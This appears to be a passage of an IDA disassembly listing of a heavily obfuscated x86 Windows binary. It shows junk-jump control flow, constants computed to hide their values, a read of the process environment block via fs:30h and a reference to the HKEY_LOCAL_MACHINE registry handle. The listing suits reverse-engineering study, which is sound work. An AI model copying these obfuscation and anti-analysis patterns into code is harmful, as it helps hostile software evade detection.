mov dword ptr [eax], 737361h
push 0
lea eax, [ebp-20h]
push eax
call sub_42B83A
mov [ebp-8], eax
jmp loc_422133
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425868
loc_4241CA: ; CODE XREF: sub_425868:loc_424E49j
; sub_425868-A14j
add eax, 0FD3E3D87h
xchg eax, [esp+0]
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_425868
; =============== S U B R O U T I N E =======================================
sub_4241D8 proc near ; CODE XREF: sub_423F55+8D0p
; _94j21ax3:00424D48j
mov [esp+0], ecx
pop ecx
jmp nullsub_21
sub_4241D8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4241E1: ; CODE XREF: sub_423F55:loc_424811j
; sub_423F55+8CAj
jnz loc_424C50
mov eax, [ebp-4]
call sub_4225B5
jmp loc_422C43
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4241F4: ; CODE XREF: sub_421D33+5j
mov ebp, esp
jnz sub_42134B
add esp, 0FFFFFFE0h
loc_4241FF: ; CODE XREF: sub_423FCD:loc_422AB3j
push 49E5C53h
pop eax
or eax, 76E0891Ch
jmp loc_4220A6
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
ror ecx, 9
jmp sub_425790
; ---------------------------------------------------------------------------
loc_424218: ; CODE XREF: _94j21ax3:loc_426CCAj
pop eax
and eax, 0CD3433Ch
add eax, 0EF9A9BE4h
call sub_426DA4
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_42422A: ; CODE XREF: sub_428B5E-1C3Ej
jge loc_424443
xor eax, ebp
loc_424232: ; CODE XREF: sub_428B5E:loc_42301Dj
call sub_426612
push 339E5FE7h
pop edx
xor edx, 14E0A1B0h
push ebx
jmp loc_42BE06
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_424249: ; CODE XREF: sub_4228FF+7j
add esp, 4
push 232E24D2h
pop eax
or eax, 9977D041h
test eax, 4
jmp loc_424582
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424263: ; CODE XREF: sub_4294B3-4084j
ror esi, 5
jmp loc_42388D
; END OF FUNCTION CHUNK FOR sub_4294B3
; =============== S U B R O U T I N E =======================================
sub_42426B proc near ; CODE XREF: _94j21ax3:00428F29j
; sub_4248E7+6EA7p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
; FUNCTION CHUNK AT 00421D5D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004230A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423314 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042503D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428247 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A544 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B00F SIZE 0000001C BYTES
xchg esi, [esp+18h+var_18]
pop esi
push 0BBA18EB2h
pop edx
xor edx, 83BA7A98h
add edx, 37A69FFFh
add edx, ebp
add edx, 903D6BD3h
jmp loc_423314
sub_42426B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
call sub_42BF31
; START OF FUNCTION CHUNK FOR sub_429447
loc_424293: ; CODE XREF: sub_429447-6F62j
jmp loc_4274B6
; END OF FUNCTION CHUNK FOR sub_429447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_424298: ; CODE XREF: sub_427D65-62E3j
rol edi, 0Bh
sub esi, ebp
mov eax, edx
loc_42429F: ; CODE XREF: sub_427D65:loc_4247C6j
mov eax, 80000002h
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp loc_423D6F
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
locret_4242AF: ; CODE XREF: _94j21ax3:loc_425ACBj
retn
; ---------------------------------------------------------------------------
loc_4242B0: ; CODE XREF: _94j21ax3:loc_4287B4j
mov [ecx], eax
pop ecx
inc dword ptr [ebp-0Ch]
dec dword ptr [ebp-18h]
jnz loc_42B954
jmp loc_422070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_4242C4: ; CODE XREF: sub_421142:loc_4227A7j
; sub_424A57:loc_424A5Fj
jz sub_423EAE
push ebp
jmp loc_42A71E
; END OF FUNCTION CHUNK FOR sub_424A57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42445A
loc_4242D0: ; CODE XREF: sub_42445A+8j
pop ebx
pop eax
pop ecx
; END OF FUNCTION CHUNK FOR sub_42445A
; START OF FUNCTION CHUNK FOR sub_428F6D
loc_4242D3: ; CODE XREF: sub_428F6D+271Dj
xchg ebp, [esp+0]
mov edx, ebp
pop ebp
pop ebp
jmp loc_426485
; END OF FUNCTION CHUNK FOR sub_428F6D
; ---------------------------------------------------------------------------
push ebp
jmp loc_425635
; ---------------------------------------------------------------------------
loc_4242E5: ; DATA XREF: sub_42B052+7o
mov eax, 52h
call sub_425A09
jmp loc_42AF1F
; ---------------------------------------------------------------------------
jmp loc_4255FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_4242F9: ; CODE XREF: sub_42C0BC:loc_42C36Dj
mov eax, large fs:30h
add eax, 54h
; END OF FUNCTION CHUNK FOR sub_42C0BC
; START OF FUNCTION CHUNK FOR sub_427A68
loc_424303: ; CODE XREF: sub_427A68-4AFFj
mov eax, [eax]
or eax, eax
jmp loc_423337
; END OF FUNCTION CHUNK FOR sub_427A68
; =============== S U B R O U T I N E =======================================
sub_42430C proc near ; CODE XREF: sub_425395j
; DATA XREF: sub_4272B2-1F27o
; FUNCTION CHUNK AT 00423556 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00423A28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428CDA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428FF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042977A SIZE 00000013 BYTES
xchg eax, [esp+0]
xchg ecx, esi
mov esp, ebp
pop ebp
mov eax, ds:dword_42C1FC
jmp loc_423556
sub_42430C endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424320 proc near ; CODE XREF: sub_422401+9p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00422092 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00423DC7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00424FAB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427195 SIZE 0000000B BYTES
xchg edx, [esp+0]
mov edx, [esp+0]
call sub_42A791
loc_42432B: ; CODE XREF: _94j21ax3:0042BBCBj
jmp loc_427195
sub_424320 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A33
loc_424330: ; CODE XREF: sub_423A33+1Ej
jmp loc_421353
; END OF FUNCTION CHUNK FOR sub_423A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42983E
loc_424335: ; CODE XREF: sub_42983E:loc_428BD9j
call sub_42AD91
loc_42433A: ; CODE XREF: sub_4228FF+50FBj
jmp nullsub_99
; END OF FUNCTION CHUNK FOR sub_42983E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_42433F: ; CODE XREF: sub_42851E-5086j
add ecx, 0EBC0D047h
call sub_42BDD7
loc_42434A: ; CODE XREF: sub_427D53+2EA0j
jmp loc_42B5BC
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422898
loc_42434F: ; CODE XREF: sub_422898-917j
jmp loc_42385B
; END OF FUNCTION CHUNK FOR sub_422898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_424354: ; CODE XREF: sub_42284F+A5Cj
jz loc_421776
loc_42435A: ; CODE XREF: _94j21ax3:0042B7A4j
jmp loc_428361
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A268
loc_42435F: ; CODE XREF: sub_42A268+86Ej
jmp loc_428278
; END OF FUNCTION CHUNK FOR sub_42A268
; ---------------------------------------------------------------------------
loc_424364: ; CODE XREF: _94j21ax3:004276F5j
jmp loc_42C070
; ---------------------------------------------------------------------------
loc_424369: ; CODE XREF: _94j21ax3:00427299j
jmp loc_4216EB
; ---------------------------------------------------------------------------
adc ebp, edi
push 0FAF47DA8h
jz loc_423B87
and eax, ebx
jmp loc_421776
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424382: ; CODE XREF: sub_4294B3+2A07j
; DATA XREF: _94j21ax3:00428CEFo
add ebx, 3FF75B82h
push offset sub_423754
jmp locret_42BF09
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429BE2
loc_424392: ; CODE XREF: sub_429BE2-2688j
and eax, 0A3C01800h
add eax, 0DE025BD0h
mov eax, [eax]
call sub_423F43
mov esp, ebp
mov ebp, offset sub_42874B
xchg ebp, [esp+0]
jmp nullsub_164
; END OF FUNCTION CHUNK FOR sub_429BE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4243B4: ; CODE XREF: sub_423324:loc_426F05j
jnz loc_42BEC6
jmp loc_4223DB
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4243BF: ; CODE XREF: sub_42169F+671Bj
pop esi
and esi, 0E9D290DAh
test esi, 2
jmp loc_42AC87
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_4243D1: ; CODE XREF: sub_422048+1j
mov ebp, esp
js loc_4271AB
add esp, 0FFFFFFE4h
mov [ebp-8], edx
mov [ebp-4], eax
xor eax, eax
mov [ebp-0Ch], eax
jmp loc_4220B2
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
cdq
jmp sub_42B3E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4243F2: ; CODE XREF: sub_423324+82C3j
push 0
push 10h
push 0E4D58032h
pop eax
xor eax, 38017336h
add eax, ebp
jmp loc_4219FD
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42440A: ; CODE XREF: _94j21ax3:00422CBCj
jnz loc_42B4C1
jmp loc_427FA7
; ---------------------------------------------------------------------------
mov [ebp+0], ebx
jmp sub_423F7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_42441D: ; CODE XREF: sub_42454E:loc_421271j
jz loc_42B755
jmp loc_4252A9
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
push eax
push offset sub_429D05
jmp locret_426789
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424433: ; CODE XREF: sub_4294B3:loc_426D06j
jnz loc_42BEC6
jmp loc_4287FF
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
mov edx, 0C8005F03h
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_424443: ; CODE XREF: sub_428B5E:loc_42422Aj
jmp sub_42C03F
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 0
jz loc_42A3E2
jmp loc_4258C0
; =============== S U B R O U T I N E =======================================
sub_42445A proc near ; CODE XREF: sub_42AE5A-33FCp
; _94j21ax3:0042A63Aj
; FUNCTION CHUNK AT 004242D0 SIZE 00000003 BYTES
mov [esp+0], ebx
pop ebx
shl edx, 1
or edx, ecx
jmp loc_4242D0
sub_42445A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424467 proc near ; CODE XREF: sub_421CAA+7p
mov [esp+0], eax
retn
sub_424467 endp
; =============== S U B R O U T I N E =======================================
sub_42446B proc near ; CODE XREF: sub_421644+2B5p
; sub_429D9A+Dj
push offset sub_424B01
jmp nullsub_22
sub_42446B endp
; =============== S U B R O U T I N E =======================================
sub_424475 proc near ; CODE XREF: sub_421402:loc_42141Cj
; _94j21ax3:00424D36p
; FUNCTION CHUNK AT 004235BB SIZE 00000005 BYTES
mov [esp+0], ecx
pop ecx
call sub_42574E
push offset sub_42ACBB
jmp loc_4235BB
sub_424475 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_424488: ; CODE XREF: _94j21ax3:loc_4275D5j
jnz loc_42489F
jns loc_4277D5
adc ebp, eax
add ecx, 0F4324B22h
or eax, edx
jmp loc_42489F
; ---------------------------------------------------------------------------
loc_4244A3: ; CODE XREF: _94j21ax3:0042800Bj
xor ebx, ecx
; =============== S U B R O U T I N E =======================================
sub_4244A5 proc near ; CODE XREF: sub_423F55-1DB7p
; FUNCTION CHUNK AT 004221F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004230FB SIZE 0000000A BYTES
xchg edi, [esp+0]
pop edi
mov [ebp-0Ch], eax
cmp dword ptr [ebp-4], 0
jz loc_423F37
jmp loc_4230FB
sub_4244A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4244BB proc near ; DATA XREF: sub_42848B-71F1o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004221EA SIZE 00000005 BYTES
push edi
call sub_4273AE
loc_4244C1: ; DATA XREF: _94j21ax3:0042272Ao
push eax
push 18491C04h
pop eax
add eax, 0E7F996E2h
xchg eax, [esp+4+var_4]
jmp loc_4221EA
sub_4244BB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4244D6: ; CODE XREF: sub_421402+46j
; DATA XREF: _94j21ax3:0042856Do
mov ds:dword_422274, eax
; END OF FUNCTION CHUNK FOR sub_421402
; START OF FUNCTION CHUNK FOR sub_421F28
loc_4244DB: ; CODE XREF: sub_421F28+978Ej
push 0BF0216E7h
xchg ecx, [esp+0]
mov eax, ecx
pop ecx
and eax, 2F16FCB1h
jmp loc_421882
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427668
loc_4244F1: ; CODE XREF: sub_427668+324Dj
cmp ebx, 2AA4C703h
jmp loc_4271E0
; END OF FUNCTION CHUNK FOR sub_427668
; ---------------------------------------------------------------------------
loc_4244FC: ; CODE XREF: _94j21ax3:00421CF9j
xchg ecx, ebx
loc_4244FE: ; CODE XREF: _94j21ax3:loc_421CEEj
or ebx, 4C8D4E5Dh
add ebx, 23B29F91h
mov [ebx], eax
pop ebx
jmp locret_428711
; ---------------------------------------------------------------------------
loc_424512: ; DATA XREF: sub_421689:loc_421D09o
call dword ptr [ebp-4]
neg eax
sbb eax, eax
neg eax
mov [ebp-5], al
jmp loc_424DD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_424523: ; CODE XREF: sub_422C48-C94j
jz loc_428777
; END OF FUNCTION CHUNK FOR sub_422C48
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_424529: ; CODE XREF: sub_42C0BC:loc_421F9Dj
and ebx, ds:4000F2h
xor ebx, 113B4210h
test eax, ebx
pop ebx
jz loc_42C36D
jmp loc_427384
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_424543: ; CODE XREF: sub_42A254:loc_425068j
jz loc_42BD9C
jmp loc_427BBD
; END OF FUNCTION CHUNK FOR sub_42A254
; =============== S U B R O U T I N E =======================================
sub_42454E proc near ; CODE XREF: _94j21ax3:00421E9Aj
; sub_422392+944p
; FUNCTION CHUNK AT 00421271 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422EEA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042441D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004252A9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004279BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428437 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ADE8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042B752 SIZE 00000020 BYTES
mov [esp+0], eax
pop eax
pop ebp
mov eax, ds:dword_424090
or eax, eax
jnz loc_42ADE8
jmp loc_421271
sub_42454E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4227F5
loc_424566: ; CODE XREF: sub_4227F5:loc_4212F0j
add esi, 0F046AE70h
mov [esi], eax
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4227F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42780F
loc_424570: ; CODE XREF: sub_42780F-4271j
jmp loc_42ACCA
; END OF FUNCTION CHUNK FOR sub_42780F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_424575: ; CODE XREF: sub_425819+259j
pop ecx
xchg eax, [esp+0]
mov ebx, eax
pop eax
pop edx
jmp loc_422312
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_424582: ; CODE XREF: sub_4228FF+195Fj
jz loc_4259E3
loc_424588: ; CODE XREF: _94j21ax3:00423E4Ej
jmp loc_4279F0
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
xchg esi, ebx
jmp loc_42923C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_424594: ; CODE XREF: sub_422C48:loc_425A20j
shl ebp, 0Ah
push ebx
jge loc_429549
jmp loc_426BAD
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4289B3
loc_4245A3: ; CODE XREF: sub_4289B3+175Fj
xor [ebp-4], eax
cmp dword ptr [ebp-4], 0
setnz byte ptr [ebp-9]
mov al, [ebp-9]
mov esp, ebp
mov ebp, offset nullsub_1
xchg ebp, [esp+0]
jmp nullsub_94
; END OF FUNCTION CHUNK FOR sub_4289B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424839
loc_4245C0: ; CODE XREF: sub_424839+312Dj
; sub_424839:loc_429D1Fj
call sub_421D33
retn
; END OF FUNCTION CHUNK FOR sub_424839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_4245C6: ; CODE XREF: sub_429862-47F2j
jmp loc_427A14
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426AFD
loc_4245CB: ; CODE XREF: sub_426AFD+4j
call sub_424902
; END OF FUNCTION CHUNK FOR sub_426AFD
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_4245D0: ; CODE XREF: sub_4249A9+2412j
jmp loc_425035
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
loc_4245D5: ; CODE XREF: _94j21ax3:loc_423D85j
mov ebp, esp
push ebx
push ecx
mov ecx, eax
xchg ecx, [esp]
jmp loc_42C07B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4245E3: ; CODE XREF: sub_42169F+Aj
pop eax
pop ecx
pop ebp
jmp loc_426485
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4245EB: ; CODE XREF: sub_42284F:loc_42571Dj
add ecx, 48788AFEh
jmp loc_42A50C
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4245F7: ; CODE XREF: sub_423F55+B6Cj
push 0B6A00195h
pop esi
xor esi, 0E6978B93h
or esi, 9978CA3h
add esi, 0A6487169h
xchg esi, [esp+4+var_4]
pushf
jmp loc_424A91
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_424618: ; CODE XREF: sub_42269A+Fj
pop ecx
rol ecx, 17h
test ecx, 4000000h
jmp loc_428757
; END OF FUNCTION CHUNK FOR sub_42269A
; =============== S U B R O U T I N E =======================================
sub_424627 proc near ; DATA XREF: _94j21ax3:0042176Co
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004217CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428B54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429264 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042A2E6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042ADBC SIZE 0000001A BYTES
push eax
push ecx
xchg ebx, eax
push eax
jmp loc_42ADBC
sub_424627 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_424631: ; DATA XREF: sub_42ABB1-143o
call sub_423F43
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_424637: ; CODE XREF: sub_42C0BC-14B8j
jmp loc_422E13
; END OF FUNCTION CHUNK FOR sub_42C0BC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42463C proc near ; CODE XREF: _94j21ax3:004216C5j
; sub_427D53:loc_4229C1j
push ebp
mov ebp, esp
push offset sub_4220B7
jmp nullsub_98
sub_42463C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424DE8
loc_424649: ; CODE XREF: sub_424DE8:loc_422053j
call sub_42BBF9
loc_42464E: ; CODE XREF: sub_42848B:loc_42129Fj
jmp nullsub_48
; END OF FUNCTION CHUNK FOR sub_424DE8
; ---------------------------------------------------------------------------
loc_424653: ; DATA XREF: sub_4252DD+Fo
mov eax, ds:dword_425BD4[eax*4]
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz loc_422FE6
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_424667: ; CODE XREF: sub_422FDC+4j
; _94j21ax3:00428AF3j
jo loc_42A971
cmp dword ptr [ebp-1Ch], 66h
jmp loc_42A95B
; END OF FUNCTION CHUNK FOR sub_422FDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_424676: ; CODE XREF: sub_421F28+1DA5j
push esi
loc_424677: ; CODE XREF: sub_421F28:loc_421DB2j
lea edx, [ebp-14h]
mov eax, offset dword_422278
call sub_428AE1
lea eax, [ebp-14h]
jmp loc_4217AD
; END OF FUNCTION CHUNK FOR sub_421F28
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42468D: ; CODE XREF: sub_4259BF-665j
jmp loc_421DDD
; END OF FUNCTION CHUNK FOR sub_4259BF
; =============== S U B R O U T I N E =======================================
sub_424692 proc near ; CODE XREF: _94j21ax3:00422377j
; _94j21ax3:00424758p
; FUNCTION CHUNK AT 00422F8F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423A0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004246B3 SIZE 00000006 BYTES
xchg edi, [esp+0]
pop edi
test al, al
jz loc_4246B3
call sub_42B1F2
retn
sub_424692 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4246A4: ; CODE XREF: sub_42A0CC+9F2j
jmp loc_42C5DD
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4246A9: ; CODE XREF: sub_423F55+Fj
jmp loc_427807
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F43
loc_4246AE: ; CODE XREF: sub_423F43+6j
jmp loc_4235C0
; END OF FUNCTION CHUNK FOR sub_423F43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424692
loc_4246B3: ; CODE XREF: sub_424692+6j
push eax
jmp loc_423A0B
; END OF FUNCTION CHUNK FOR sub_424692
; =============== S U B R O U T I N E =======================================
sub_4246B9 proc near ; DATA XREF: sub_42AC17:loc_423E24o
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 004219B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B608 SIZE 00000014 BYTES
call sub_42A0CC
push ecx
mov ecx, [esp+4+arg_8]
mov dword ptr [ecx], 10001h
jmp loc_42B608
sub_4246B9 endp
; ---------------------------------------------------------------------------
push eax
call sub_425475
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427A68
loc_4246D5: ; CODE XREF: sub_427A68+2CE3j
call sub_42A3EE
call sub_424C37
loc_4246DF: ; CODE XREF: _94j21ax3:loc_428712j
jnz loc_421A16
jmp loc_422F66
; END OF FUNCTION CHUNK FOR sub_427A68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4246EA: ; CODE XREF: sub_4272E9-10Ej
; sub_4272E9:loc_4279B1j
push esi
push 0FA7905CEh
pop esi
loc_4246F1: ; CODE XREF: _94j21ax3:00423C05j
and esi, 637C6BE0h
xor esi, 5FB74A4Ah
add esi, 0C2737560h
xchg esi, [esp+4+var_4]
jmp sub_426B3C
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_42470B: ; CODE XREF: _94j21ax3:00428C0Dj
xchg edi, esi
mov ecx, [esi]
and eax, edi
jmp loc_4229AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_424716: ; CODE XREF: sub_426DA4:loc_42B5FCj
add ecx, 47E5E15Eh
call sub_421142
loc_424721: ; CODE XREF: _94j21ax3:loc_42A5B3j
; _94j21ax3:0042B62Bj
jmp loc_42A4CB
; END OF FUNCTION CHUNK FOR sub_426DA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_424726: ; CODE XREF: sub_42484C+Aj
jmp loc_42A1BA
; END OF FUNCTION CHUNK FOR sub_42484C
; =============== S U B R O U T I N E =======================================
sub_42472B proc near ; DATA XREF: sub_42AAC3+3o
push eax
call sub_428620
loc_424731: ; CODE XREF: sub_4272E9+248Bj
jz nullsub_155
call nullsub_3
retn
sub_42472B endp
; ---------------------------------------------------------------------------
loc_42473D: ; CODE XREF: _94j21ax3:00429AE9j
jmp loc_424D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429382
loc_424742: ; CODE XREF: sub_429382+Dj
jmp loc_42A5CD
; END OF FUNCTION CHUNK FOR sub_429382
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EFA
loc_424748: ; CODE XREF: sub_424EFA+1FB4j
jmp nullsub_88
; END OF FUNCTION CHUNK FOR sub_424EFA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426626
loc_42474E: ; CODE XREF: sub_426626+7j
jmp loc_428FC8
; END OF FUNCTION CHUNK FOR sub_426626
; ---------------------------------------------------------------------------
loc_424753: ; CODE XREF: _94j21ax3:0042C13Ej
call sub_42C057
call sub_424692
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239A5
loc_42475E: ; CODE XREF: sub_4239A5-1A48j
jmp nullsub_91
; END OF FUNCTION CHUNK FOR sub_4239A5
; ---------------------------------------------------------------------------
loc_424763: ; CODE XREF: _94j21ax3:00421B0Cj
jmp loc_424010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AB30
loc_424768: ; CODE XREF: sub_42AB30-5DB9j
rol eax, 18h
push offset sub_426B85
jmp loc_425122
; END OF FUNCTION CHUNK FOR sub_42AB30
; =============== S U B R O U T I N E =======================================
sub_424775 proc near ; CODE XREF: sub_429CCA+8p
; _94j21ax3:0042A52Ej
; FUNCTION CHUNK AT 00423E53 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00426901 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00426A70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427232 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427942 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042C188 SIZE 0000001B BYTES
xchg eax, [esp+0]
pop eax
push eax
call sub_426B87
